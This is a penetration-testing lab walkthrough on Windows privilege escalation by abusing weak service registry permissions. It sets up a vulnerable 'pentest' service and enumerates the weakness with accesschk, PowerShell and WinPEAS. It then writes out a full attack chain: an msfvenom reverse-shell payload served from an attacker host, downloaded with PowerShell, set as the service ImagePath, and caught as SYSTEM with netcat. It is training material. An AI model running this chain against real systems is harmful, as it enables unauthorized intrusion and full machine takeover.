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ADMINISTRATOR
Microsoft Windows offers a wide range of fine-grained permissions and privileges for controlling access to Windows components including services, files, and registry entries. Exploiting Weak Registry Permissions is one technique to increase privileges.

Table of Content
Introduction
  • Windows Registry
  • Registry Hive
Weak Registry Permission
Prerequisite
Lab Setup
Abusing Weak Registry Services

  • Enumerate Vulnerable Registry key using Accesschk.exe
  • Enumerate Vulnerable Registry key using Powershell
  • Enumerate Vulnerable Registry key using WinPEASx64
  • Create Malicious Executable
Introduction
Windows Registry

The registry is a system-defined database in which applications and system components store and retrieve configuration data. The registry is a hierarchical database that contains data that is critical for the operation of Windows and the applications and services that run on Windows.

You can use Registry Editor to do the following actions:
  • Locate a subtree, key, subkey, or value
  • Add a subkey or a value
  • Change a value
  • Delete a subkey or a value
  • Rename a subkey or a value
The data is structured in a tree format. Each node in the tree is called a key. Each key can contain both subkeys and data entries called values.

Registry Hive
A hive is a logical group of keys, subkeys, and values in the registry that has a set of supporting files loaded into memory when the operating system is started or a user logs in.

Note: Each time a new user logs on to a computer, a new hive is created for that user with a separate file for the user profile. This is called the user profile hive. A user’s hive contains specific registry information pertaining to the user’s application settings, desktop, environment, network connections, and printers. User profile hives are located under the HKEY_USERS key.

Most of the supporting files for the hives are in the %SystemRoot%\System32\Config directory. These files are updated each time a user logs on.

The following table lists the standard hives and their supporting files.

49.png

Weak Registry Permission
By hijacking the Registry entries utilized by services, attackers can run their malicious payloads. Attackers may use weaknesses in registry permissions to divert from the initially stated executable to one they control upon Service start, allowing them to execute their unauthorized malware.

Mitre ID: T1574.011
Tactics: Privilege Escalation & Persistence
Platforms: Windows

Prerequisite
Target Machine:
Windows 10
Attacker Machine: Kali Linux

Tools: SubinACL, PowerUP.ps1, Winpeas.

Condition:
Compromise the target machine with low privilege access either using Metasploit or Netcat, etc.

Objective: Escalate the NT Authority /SYSTEM privileges for a low privileged user by exploiting the Weak Registry Key.

Lab Setup
Step 1:
Run CMD as administrator and execute the below command to create a service with the name of Pentest inside /temp directory.
Code:
sc.exe create pentest binPath= "C:\temp\service.exe"

Step2: To create a vulnerable service we need to assign some toxic privilege with the help of SubinACL to change the permission of services.

NOTE:
SubInACL is a little-known command-line tool from Microsoft, yet it is one of the best tools to work with security permissions in Windows. This tool is capable of changing the permissions of files, folders, registry keys, services, printers, cluster shares and various other types of objects.

In this case, we have granted a user permissions to suspend (pause/continue), start and stop (restart) a service.


Step3: After downloading SubinACL, execute the following command to assign PTO Permissions user “ignite” against “Pentest” service.
Code:
cd C:\Program Files (x86)\Windows Resource Kits\Tools
subinacl.exe /service pentest /grant=msedgewin10\ignite=PTO

50.png

Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services.

Step4: Explore registry path HKLM\SYSTEM\CurrentControlSet\Services\pentest and change permission for it.

51.png

Step5: Allow FULL Control on Authenticate user.
52.png

Abusing Weak Registry Services
Enumerate Vulnerable Registry key using Accesschk.exe
An attacker can escalate privileges by exploiting Weak Registry permission if the current user has permission to alter Registry keys associated with the service.

Following an initial foothold, we can query for service registry keys permissions using the accesschk.exe Sysinternals tool.
Code:
nc –lvp 1245
accesschk.exe /accepteula "authenticated users" -kvuqsw hklm\System\CurrentControlSet\services

As result, we found ALL Access is assigned for the authenticated user for the “Pentest” registry key.

53.png

With the following command, we query for the image path for service.
Code:
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\pentest

54.png

Enumerate Vulnerable Registry key using Powershell
With the help of PowerShell, you check the Access Control List (ACL) to enumerate the user privileges full control upon the service registry key.
Code:
Get-Acl -Path HKLM:\SYSTEM\CurrentControlSet\Services\pentest | fl

55.png

Enumerate Vulnerable Registry key using WinPEASx64
Even, using auto script WinPEASx64 we enumerate weak service registry which is another method post enumeration for weak configuration.

56.png

Create Malicious Executable
If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control.

Create an executable shell and install it on the victim’s machine, then modify the service registry key to an executable since the authenticated user has full access to the service and therefore has the ability to change the image path for service.
Code:
msfvenom –p window/shell_reverse_tcp lhost=192.168.1.3 lport=8888 –f exe > shell.exe
python –m SimpleHTTPServer 80

57.png

Code:
cd c:\Users\public
powershell wget http://192.168.1.3/shell.exe -o shell.exe
dir
reg add "HKLM\system\currentcontrolset\services\pentest" /t REG_EXPAND_SZ /v ImagePath /d "C:\Users\Public\shell.exe" /f

58.png

Code:
net start pentest
When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).

Thus as soon as the service will launch, the attacker will get a reverse connection in the new netcat session as NT Authority \system
Code:
nc –lvp 8888
whoami

59.png

References
 
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